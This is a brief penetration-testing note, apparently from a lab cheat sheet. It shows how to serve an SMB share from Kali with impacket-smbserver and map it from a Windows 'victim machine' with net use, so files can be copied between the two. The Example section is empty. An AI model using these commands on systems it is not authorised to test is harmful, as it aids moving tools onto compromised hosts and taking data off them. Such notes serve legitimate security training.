Using SMB share to share files
In this, we will SMB share to share files.
# In kali linux establish the SMB share.
impacket-smbserver -smb2support -username user -password user123 drive .
# this will start the server.
# Go to windows victim machine.
net use Z: \\$IP_KALI\drive /u:user user123
# If you are shown connected msg then it you can copy file other wise use 'iwr' or other menthod.
copy <FromPlaceToCopy> <DestinationToPaste>
Example:

Last updated